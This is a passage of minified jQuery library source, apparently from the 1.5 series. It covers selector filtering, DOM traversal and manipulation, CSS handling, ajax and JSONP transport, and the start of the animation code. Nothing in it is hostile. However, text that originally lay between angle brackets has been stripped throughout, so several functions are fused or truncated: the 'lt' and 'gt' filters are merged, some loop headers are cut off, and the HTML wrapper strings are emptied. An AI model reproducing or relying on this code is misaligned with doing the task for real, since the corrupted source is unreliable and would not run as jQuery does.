g=a[1]=a[1].replace(/\\/g,"");!f&&j.attrMap[g]&&(a[1]=j.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(/\\/g,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=i(b[3],null,null,c);else{var g=i.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(j.match.POS.test(b[0])||j.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!i(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){return"text"===a.type},radio:function(a){return"radio"===a.type},checkbox:function(a){return"checkbox"===a.type},file:function(a){return"file"===a.type},password:function(a){return"password"===a.type},submit:function(a){return"submit"===a.type},image:function(a){return"image"===a.type},reset:function(a){return"reset"===a.type},button:function(a){return"button"===a.type||a.nodeName.toLowerCase()==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=j.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||i.getText([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,k=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=j.attrHandle[c]?j.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=j.setFilters[e];if(f)return f(a,c,b,d)}}},k=j.match.POS,l=function(a,b){return"\\"+(b-0+1)};for(var m in j.match)j.match[m]=new RegExp(j.match[m].source+/(?![^\[]*\])(?![^\(]*\))/.source),j.leftMatch[m]=new RegExp(/(^(?:.|\r|\n)*?)/.source+j.match[m].source.replace(/\\(\d+)/g,l));var n=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(o){n=function(a,b){var c=0,d=b||[];if(f.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length==="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(j.find.ID=function(a,c,d){if(typeof c.getElementById!=="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!=="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},j.filter.ID=function(a,b){var c=typeof a.getAttributeNode!=="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(j.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!=="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(j.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=i,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){i=function(b,e,f,g){e=e||c;if(!g&&!i.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return n(e.getElementsByTagName(b),f);if(h[2]&&j.find.CLASS&&e.getElementsByClassName)return n(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return n([e.body],f);if(h&&h[3]){var k=e.getElementById(h[3]);if(!k||!k.parentNode)return n([],f);if(k.id===h[3])return n([k],f)}try{return n(e.querySelectorAll(b),f)}catch(l){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var m=e.getAttribute("id"),o=m||d,p=e.parentNode,q=/^\s*[+~]/.test(b);m?o=o.replace(/'/g,"\\$&"):e.setAttribute("id",o),q&&p&&(e=e.parentNode);try{if(!q||p)return n(e.querySelectorAll("[id='"+o+"'] "+b),f)}catch(r){}finally{m||e.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)i[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector,d=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(e){d=!0}b&&(i.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!i.isXML(a))try{if(d||!j.match.PSEUDO.test(c)&&!/!=/.test(c))return b.call(a,c)}catch(e){}return i(c,null,null,[a]).length>0})}(),function(){var a=c.createElement("div");a.innerHTML="
";if(a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;j.order.splice(1,0,"CLASS"),j.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!=="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?i.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?i.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:i.contains=function(){return!1},i.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var t=function(a,b){var c,d=[],e="",f=b.nodeType?[b]:b;while(c=j.match.PSEUDO.exec(a))e+=c[0],a=a.replace(j.match.PSEUDO,"");a=j.relative[a]?a+"*":a;for(var g=0,h=f.length;g0)for(var g=c;g0},closest:function(a,b){var c=[],e,f,g=this[0];if(d.isArray(a)){var h,i,j={},k=1;if(g&&a.length){for(e=0,f=a.length;e-1:d(g).is(h))&&c.push({selector:i,elem:g,level:k});g=g.parentNode,k++}}return c}var l=L.test(a)?d(a,b||this.context):null;for(e=0,f=this.length;e-1:d.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b)break}}c=c.length>1?d.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a||typeof a==="string")return d.inArray(this[0],a?d(a):this.parent().children());return d.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a==="string"?d(a,b):d.makeArray(a),e=d.merge(this.get(),c);return this.pushStack(N(c[0])||N(e[0])?e:d.unique(e))},andSelf:function(){return this.add(this.prevObject)}}),d.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return d.dir(a,"parentNode")},parentsUntil:function(a,b,c){return d.dir(a,"parentNode",c)},next:function(a){return d.nth(a,2,"nextSibling")},prev:function(a){return d.nth(a,2,"previousSibling")},nextAll:function(a){return d.dir(a,"nextSibling")},prevAll:function(a){return d.dir(a,"previousSibling")},nextUntil:function(a,b,c){return d.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return d.dir(a,"previousSibling",c)},siblings:function(a){return d.sibling(a.parentNode.firstChild,a)},children:function(a){return d.sibling(a.firstChild)},contents:function(a){return d.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:d.makeArray(a.childNodes)}},function(a,b){d.fn[a]=function(c,e){var f=d.map(this,b,c),g=K.call(arguments);G.test(a)||(e=c),e&&typeof e==="string"&&(f=d.filter(e,f)),f=this.length>1&&!M[a]?d.unique(f):f,(this.length>1||I.test(e))&&H.test(a)&&(f=f.reverse());return this.pushStack(f,a,g.join(","))}}),d.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?d.find.matchesSelector(b[0],a)?[b[0]]:[]:d.find.matches(a,b)},dir:function(a,c,e){var f=[],g=a[c];while(g&&g.nodeType!==9&&(e===b||g.nodeType!==1||!d(g).is(e)))g.nodeType===1&&f.push(g),g=g[c];return f},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var P=/ jQuery\d+="(?:\d+|null)"/g,Q=/^\s+/,R=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,S=/<([\w:]+)/,T=/",""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]};X.optgroup=X.option,X.tbody=X.tfoot=X.colgroup=X.caption=X.thead,X.th=X.td,d.support.htmlSerialize||(X._default=[1,"div
","
"]),d.fn.extend({text:function(a){if(d.isFunction(a))return this.each(function(b){var c=d(this);c.text(a.call(this,b,c.text()))});if(typeof a!=="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return d.text(this)},wrapAll:function(a){if(d.isFunction(a))return this.each(function(b){d(this).wrapAll(a.call(this,b))});if(this[0]){var b=d(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(d.isFunction(a))return this.each(function(b){d(this).wrapInner(a.call(this,b))});return this.each(function(){var b=d(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){d(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){d.nodeName(this,"body")||d(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=d(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,d(arguments[0]).toArray());return a}},remove:function(a,b){for(var c=0,e;(e=this[c])!=null;c++)if(!a||d.filter(a,[e]).length)!b&&e.nodeType===1&&(d.cleanData(e.getElementsByTagName("*")),d.cleanData([e])),e.parentNode&&e.parentNode.removeChild(e);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&d.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!0:a,b=b==null?a:b;return this.map(function(){return d.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(P,""):null;if(typeof a!=="string"||V.test(a)||!d.support.leadingWhitespace&&Q.test(a)||X[(S.exec(a)||["",""])[1].toLowerCase()])d.isFunction(a)?this.each(function(b){var c=d(this);c.html(a.call(this,b,c.html()))}):this.empty().append(a);else{a=a.replace(R,"<$1>");try{for(var c=0,e=this.length;c1&&l0?this.clone(!0):this).get();d(f[h])[b](j),e=e.concat(j)}return this.pushStack(e,a,f.selector)}}),d.extend({clone:function(a,b,c){var e=a.cloneNode(!0),f,g,h;if(!d.support.noCloneEvent&&(a.nodeType===1||a.nodeType===11)&&!d.isXMLDoc(a)){f=a.getElementsByTagName("*"),g=e.getElementsByTagName("*");for(h=0;f[h];++h)$(f[h],g[h]);$(a,e)}if(b){Z(a,e);if(c&&"getElementsByTagName"in a){f=a.getElementsByTagName("*"),g=e.getElementsByTagName("*");if(f.length)for(h=0;f[h];++h)Z(f[h],g[h])}}return e},clean:function(a,b,e,f){b=b||c,typeof b.createElement==="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var g=[];for(var h=0,i;(i=a[h])!=null;h++){typeof i==="number"&&(i+="");if(!i)continue;if(typeof i!=="string"||U.test(i)){if(typeof i==="string"){i=i.replace(R,"<$1>");var j=(S.exec(i)||["",""])[1].toLowerCase(),k=X[j]||X._default,l=k[0],m=b.createElement("div");m.innerHTML=k[1]+i+k[2];while(l--)m=m.lastChild;if(!d.support.tbody){var n=T.test(i),o=j==="table"&&!n?m.firstChild&&m.firstChild.childNodes:k[1]===""&&!n?m.childNodes:[];for(var p=o.length-1;p>=0;--p)d.nodeName(o[p],"tbody")&&!o[p].childNodes.length&&o[p].parentNode.removeChild(o[p])}!d.support.leadingWhitespace&&Q.test(i)&&m.insertBefore(b.createTextNode(Q.exec(i)[0]),m.firstChild),i=m.childNodes}}else i=b.createTextNode(i);i.nodeType?g.push(i):g=d.merge(g,i)}if(e)for(h=0;g[h];h++)!f||!d.nodeName(g[h],"script")||g[h].type&&g[h].type.toLowerCase()!=="text/javascript"?(g[h].nodeType===1&&g.splice.apply(g,[h+1,0].concat(d.makeArray(g[h].getElementsByTagName("script")))),e.appendChild(g[h])):f.push(g[h].parentNode?g[h].parentNode.removeChild(g[h]):g[h]);return g},cleanData:function(a){var b,c,e=d.cache,f=d.expando,g=d.event.special,h=d.support.deleteExpando;for(var i=0,j;(j=a[i])!=null;i++){if(j.nodeName&&d.noData[j.nodeName.toLowerCase()])continue;c=j[d.expando];if(c){b=e[c]&&e[c][f];if(b&&b.events){for(var k in b.events)g[k]?d.event.remove(j,k):d.removeEvent(j,k,b.handle);b.handle&&(b.handle.elem=null)}h?delete j[d.expando]:j.removeAttribute&&j.removeAttribute(d.expando),delete e[c]}}}});var ba=/alpha\([^)]*\)/i,bb=/opacity=([^)]*)/,bc=/-([a-z])/ig,bd=/([A-Z])/g,be=/^-?\d+(?:px)?$/i,bf=/^-?\d/,bg={position:"absolute",visibility:"hidden",display:"block"},bh=["Left","Right"],bi=["Top","Bottom"],bj,bk,bl,bm=function(a,b){return b.toUpperCase()};d.fn.css=function(a,c){if(arguments.length===2&&c===b)return this;return d.access(this,a,c,!0,function(a,c,e){return e!==b?d.style(a,c,e):d.css(a,c)})},d.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=bj(a,"opacity","opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{zIndex:!0,fontWeight:!0,opacity:!0,zoom:!0,lineHeight:!0},cssProps:{"float":d.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,e,f){if(a&&a.nodeType!==3&&a.nodeType!==8&&a.style){var g,h=d.camelCase(c),i=a.style,j=d.cssHooks[h];c=d.cssProps[h]||h;if(e===b){if(j&&"get"in j&&(g=j.get(a,!1,f))!==b)return g;return i[c]}if(typeof e==="number"&&isNaN(e)||e==null)return;typeof e==="number"&&!d.cssNumber[h]&&(e+="px");if(!j||!("set"in j)||(e=j.set(a,e))!==b)try{i[c]=e}catch(k){}}},css:function(a,c,e){var f,g=d.camelCase(c),h=d.cssHooks[g];c=d.cssProps[g]||g;if(h&&"get"in h&&(f=h.get(a,!0,e))!==b)return f;if(bj)return bj(a,c,g)},swap:function(a,b,c){var d={};for(var e in b)d[e]=a.style[e],a.style[e]=b[e];c.call(a);for(e in b)a.style[e]=d[e]},camelCase:function(a){return a.replace(bc,bm)}}),d.curCSS=d.css,d.each(["height","width"],function(a,b){d.cssHooks[b]={get:function(a,c,e){var f;if(c){a.offsetWidth!==0?f=bn(a,b,e):d.swap(a,bg,function(){f=bn(a,b,e)});if(f<=0){f=bj(a,b,b),f==="0px"&&bl&&(f=bl(a,b,b));if(f!=null)return f===""||f==="auto"?"0px":f}if(f<0||f==null){f=a.style[b];return f===""||f==="auto"?"0px":f}return typeof f==="string"?f:f+"px"}},set:function(a,b){if(!be.test(b))return b;b=parseFloat(b);if(b>=0)return b+"px"}}}),d.support.opacity||(d.cssHooks.opacity={get:function(a,b){return bb.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style;c.zoom=1;var e=d.isNaN(b)?"":"alpha(opacity="+b*100+")",f=c.filter||"";c.filter=ba.test(f)?f.replace(ba,e):c.filter+" "+e}}),c.defaultView&&c.defaultView.getComputedStyle&&(bk=function(a,c,e){var f,g,h;e=e.replace(bd,"-$1").toLowerCase();if(!(g=a.ownerDocument.defaultView))return b;if(h=g.getComputedStyle(a,null))f=h.getPropertyValue(e),f===""&&!d.contains(a.ownerDocument.documentElement,a)&&(f=d.style(a,e));return f}),c.documentElement.currentStyle&&(bl=function(a,b){var c,d=a.currentStyle&&a.currentStyle[b],e=a.runtimeStyle&&a.runtimeStyle[b],f=a.style;!be.test(d)&&bf.test(d)&&(c=f.left,e&&(a.runtimeStyle.left=a.currentStyle.left),f.left=b==="fontSize"?"1em":d||0,d=f.pixelLeft+"px",f.left=c,e&&(a.runtimeStyle.left=e));return d===""?"auto":d}),bj=bk||bl,d.expr&&d.expr.filters&&(d.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!d.support.reliableHiddenOffsets&&(a.style.display||d.css(a,"display"))==="none"},d.expr.filters.visible=function(a){return!d.expr.filters.hidden(a)});var bo=/%20/g,bp=/\[\]$/,bq=/\r?\n/g,br=/#.*$/,bs=/^(.*?):\s*(.*?)\r?$/mg,bt=/^(?:color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bu=/^(?:GET|HEAD)$/,bv=/^\/\//,bw=/\?/,bx=/)<[^<]*)*<\/script>/gi,by=/^(?:select|textarea)/i,bz=/\s+/,bA=/([?&])_=[^&]*/,bB=/^(\w+:)\/\/([^\/?#:]+)(?::(\d+))?/,bC=d.fn.load,bD={},bE={};d.fn.extend({load:function(a,b,c){if(typeof a!=="string"&&bC)return bC.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var f=a.slice(e,a.length);a=a.slice(0,e)}var g="GET";b&&(d.isFunction(b)?(c=b,b=null):typeof b==="object"&&(b=d.param(b,d.ajaxSettings.traditional),g="POST"));var h=this;d.ajax({url:a,type:g,dataType:"html",data:b,complete:function(a,b,e){e=a.responseText,a.isResolved()&&(a.done(function(a){e=a}),h.html(f?d("
").append(e.replace(bx,"")).find(f):e)),c&&h.each(c,[e,b,a])}});return this},serialize:function(){return d.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?d.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||by.test(this.nodeName)||bt.test(this.type))}).map(function(a,b){var c=d(this).val();return c==null?null:d.isArray(c)?d.map(c,function(a,c){return{name:b.name,value:a.replace(bq,"\r\n")}}):{name:b.name,value:c.replace(bq,"\r\n")}}).get()}}),d.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){d.fn[b]=function(a){return this.bind(b,a)}}),d.each(["get","post"],function(a,b){d[b]=function(a,c,e,f){d.isFunction(c)&&(f=f||e,e=c,c=null);return d.ajax({type:b,url:a,data:c,success:e,dataType:f})}}),d.extend({getScript:function(a,b){return d.get(a,null,b,"script")},getJSON:function(a,b,c){return d.get(a,b,c,"json")},ajaxSetup:function(a){d.extend(!0,d.ajaxSettings,a),a.context&&(d.ajaxSettings.context=a.context)},ajaxSettings:{url:location.href,global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":"*/*"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":d.parseJSON,"text xml":d.parseXML}},ajaxPrefilter:bF(bD),ajaxTransport:bF(bE),ajax:function(a,e){function w(a,c,e,l){if(t!==2){t=2,p&&clearTimeout(p),o=b,m=l||"",v.readyState=a?4:0;var n,q,r,s=e?bI(f,v,e):b,u,w;if(a>=200&&a<300||a===304){if(f.ifModified){if(u=v.getResponseHeader("Last-Modified"))d.lastModified[f.url]=u;if(w=v.getResponseHeader("Etag"))d.etag[f.url]=w}if(a===304)c="notmodified",n=!0;else try{q=bJ(f,s),c="success",n=!0}catch(x){c="parsererror",r=x}}else r=c,a&&(c="error",a<0&&(a=0));v.status=a,v.statusText=c,n?i.resolveWith(g,[q,c,v]):i.rejectWith(g,[v,c,r]),v.statusCode(k),k=b,f.global&&h.trigger("ajax"+(n?"Success":"Error"),[v,f,n?q:r]),j.resolveWith(g,[v,c]),f.global&&(h.trigger("ajaxComplete",[v,f]),--d.active||d.event.trigger("ajaxStop"))}}typeof e!=="object"&&(e=a,a=b),e=e||{};var f=d.extend(!0,{},d.ajaxSettings,e),g=(f.context=("context"in e?e:d.ajaxSettings).context)||f,h=g===f?d.event:d(g),i=d.Deferred(),j=d._Deferred(),k=f.statusCode||{},l={},m,n,o,p,q=c.location,r=q.protocol||"http:",s,t=0,u,v={readyState:0,setRequestHeader:function(a,b){t===0&&(l[a.toLowerCase()]=b);return this},getAllResponseHeaders:function(){return t===2?m:null},getResponseHeader:function(a){var b;if(t===2){if(!n){n={};while(b=bs.exec(m))n[b[1].toLowerCase()]=b[2]}b=n[a.toLowerCase()]}return b||null},abort:function(a){a=a||"abort",o&&o.abort(a),w(0,a);return this}};i.promise(v),v.success=v.done,v.error=v.fail,v.complete=j.done,v.statusCode=function(a){if(a){var b;if(t<2)for(b in a)k[b]=[k[b],a[b]];else b=a[v.status],v.then(b,b)}return this},f.url=(""+(a||f.url)).replace(br,"").replace(bv,r+"//"),f.dataTypes=d.trim(f.dataType||"*").toLowerCase().split(bz),f.crossDomain||(s=bB.exec(f.url.toLowerCase()),f.crossDomain=s&&(s[1]!=r||s[2]!=q.hostname||(s[3]||(s[1]==="http:"?80:443))!=(q.port||(r==="http:"?80:443)))),f.data&&f.processData&&typeof f.data!=="string"&&(f.data=d.param(f.data,f.traditional)),bG(bD,f,e,v),f.type=f.type.toUpperCase(),f.hasContent=!bu.test(f.type),f.global&&d.active++===0&&d.event.trigger("ajaxStart");if(!f.hasContent){f.data&&(f.url+=(bw.test(f.url)?"&":"?")+f.data);if(f.cache===!1){var x=d.now(),y=f.url.replace(bA,"$1_="+x);f.url=y+(y===f.url?(bw.test(f.url)?"&":"?")+"_="+x:"")}}if(f.data&&f.hasContent&&f.contentType!==!1||e.contentType)l["content-type"]=f.contentType;f.ifModified&&(d.lastModified[f.url]&&(l["if-modified-since"]=d.lastModified[f.url]),d.etag[f.url]&&(l["if-none-match"]=d.etag[f.url])),l.accept=f.dataTypes[0]&&f.accepts[f.dataTypes[0]]?f.accepts[f.dataTypes[0]]+(f.dataTypes[0]!=="*"?", */*; q=0.01":""):f.accepts["*"];for(u in f.headers)l[u.toLowerCase()]=f.headers[u];if(!f.beforeSend||f.beforeSend.call(g,v,f)!==!1&&t!==2){for(u in {success:1,error:1,complete:1})v[u](f[u]);o=bG(bE,f,e,v);if(o){t=v.readyState=1,f.global&&h.trigger("ajaxSend",[v,f]),f.async&&f.timeout>0&&(p=setTimeout(function(){v.abort("timeout")},f.timeout));try{o.send(l,w)}catch(z){status<2?w(-1,z):d.error(z)}}else w(-1,"No Transport")}else w(0,"abort"),v=!1;return v},param:function(a,c){var e=[],f=function(a,b){b=d.isFunction(b)?b():b,e[e.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=d.ajaxSettings.traditional);if(d.isArray(a)||a.jquery)d.each(a,function(){f(this.name,this.value)});else for(var g in a)bH(g,a[g],c,f);return e.join("&").replace(bo,"+")}}),d.extend({active:0,lastModified:{},etag:{}});var bK=d.now(),bL=/(\=)\?(&|$)|()\?\?()/i;d.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return d.expando+"_"+bK++}}),d.ajaxPrefilter("json jsonp",function(b,c,e){e=typeof b.data==="string";if(b.dataTypes[0]==="jsonp"||c.jsonpCallback||c.jsonp!=null||b.jsonp!==!1&&(bL.test(b.url)||e&&bL.test(b.data))){var f,g=b.jsonpCallback=d.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h=a[g],i=b.url,j=b.data,k="$1"+g+"$2";b.jsonp!==!1&&(i=i.replace(bL,k),b.url===i&&(e&&(j=j.replace(bL,k)),b.data===j&&(i+=(/\?/.test(i)?"&":"?")+b.jsonp+"="+g))),b.url=i,b.data=j,a[g]=function(a){f=[a]},b.complete=[function(){a[g]=h;if(h)f&&d.isFunction(h)&&a[g](f[0]);else try{delete a[g]}catch(b){}},b.complete],b.converters["script json"]=function(){f||d.error(g+" was not called");return f[0]},b.dataTypes[0]="json";return"script"}}),d.ajaxSetup({accepts:{script:"text/javascript, application/javascript"},contents:{script:/javascript/},converters:{"text script":function(a){d.globalEval(a);return a}}}),d.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),d.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var bM=d.now(),bN={},bO,bP;d.ajaxSettings.xhr=a.ActiveXObject?function(){if(a.location.protocol!=="file:")try{return new a.XMLHttpRequest}catch(b){}try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(c){}}:function(){return new a.XMLHttpRequest};try{bP=d.ajaxSettings.xhr()}catch(bQ){}d.support.ajax=!!bP,d.support.cors=bP&&"withCredentials"in bP,bP=b,d.support.ajax&&d.ajaxTransport(function(b){if(!b.crossDomain||d.support.cors){var c;return{send:function(e,f){bO||(bO=1,d(a).bind("unload",function(){d.each(bN,function(a,b){b.onreadystatechange&&b.onreadystatechange(1)})}));var g=b.xhr(),h;b.username?g.open(b.type,b.url,b.async,b.username,b.password):g.open(b.type,b.url,b.async),(!b.crossDomain||b.hasContent)&&!e["x-requested-with"]&&(e["x-requested-with"]="XMLHttpRequest");try{d.each(e,function(a,b){g.setRequestHeader(a,b)})}catch(i){}g.send(b.hasContent&&b.data||null),c=function(a,e){if(c&&(e||g.readyState===4)){c=0,h&&(g.onreadystatechange=d.noop,delete bN[h]);if(e)g.readyState!==4&&g.abort();else{var i=g.status,j,k=g.getAllResponseHeaders(),l={},m=g.responseXML;m&&m.documentElement&&(l.xml=m),l.text=g.responseText;try{j=g.statusText}catch(n){j=""}i=i===0?!b.crossDomain||j?k?304:0:302:i==1223?204:i,f(i,j,l,k)}}},b.async&&g.readyState!==4?(h=bM++,bN[h]=g,g.onreadystatechange=c):c()},abort:function(){c&&c(0,1)}}}});var bR={},bS=/^(?:toggle|show|hide)$/,bT=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,bU,bV=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];d.fn.extend({show:function(a,b,c){var e,f;if(a||a===0)return this.animate(bW("show",3),a,b,c);for(var g=0,h=this.length;g=0;a--)c[a].elem===this&&(b&&c[a](!0),c.splice(a,1))}),b||this.dequeue();return this}}),d.each({slideDown:bW("show",1),slideUp:bW("hide",1),slideToggle:bW("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){d.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),d.extend({speed:function(a,b,c){var e=a&&typeof a==="object"?d.extend({},a):{complete:c||!c&&b||d.isFunction(a)&&a,duration:a,easing:c&&b||b&&!d.isFunction(b)&&b};e.duration=d.fx.off?0:typeof e.duration==="number"?e.duration:e.duration in d.fx.speeds?d.fx.speeds[e.duration]:d.fx.speeds._default,e.old=e.complete,e.complete=function(){e.queue!==!1&&d(this).dequeue(),d.isFunction(e.old)&&e.old.call(this)};return e},easing:{linear:function(a,b,c,d){return c+d*a},swing:function(a,b,c,d){return(-Math.cos(a*Math.PI)/2+.5)*d+c}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig||(b.orig={})}}),d.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(d.fx.step[this.prop]||d.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a=parseFloat(d.css(this.elem,this.prop));return a||0},custom:function(a,b,c){function g(a){return e.step(a)}var 